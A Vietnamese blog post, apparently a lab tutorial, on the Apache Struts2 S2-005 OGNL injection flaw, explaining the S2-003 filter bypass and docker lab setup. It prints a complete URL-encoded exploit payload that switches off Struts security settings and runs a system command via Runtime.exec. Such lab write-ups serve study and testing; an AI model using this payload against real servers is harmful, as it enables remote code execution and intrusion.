Lỗ hổng bảo mật trên Apache Struts2 (S2-005)
1:18 PM
Add Comment
1. Mô tả:
Trong bài trước chúng ta đã tìm hiểu về lỗ hổng s2-001 và struts 2 devmode hôm nay chúng ta sẽ tìm hiểu về lỗ hổng s2-005.
2. Cách hoạt động:
XWork sẽ parse các key, value của tham số GET thành các câu lệnh Java bằng các biểu thức OGNL, chẳng hạn như:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
quy trình như sau
- Trong S2-003 Sử dụng \u0023 để bypass bộ lọc của struts2
- Sau S2-003 struts2 thêm chế độ bảo mật (sanbox)
- Trong S2-005 sử dụng biểu thức OGNL để đóng chế độ bảo mật và ta lại có thể bypass
3. Thiết lập lab khai thác lỗ hổng
Chạy câu lệnh sau:
docker-compose build
docker-compose up -d
Truy cập http://127.0.0.1:8080 hoặc http://your_ip:8080
4. Khai thác lỗ hổng
Payload:
Ta thu được kết quả như hình trên.
%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29
Ta thu được kết quả như hình trên.
0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-005)"
Post a Comment
Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !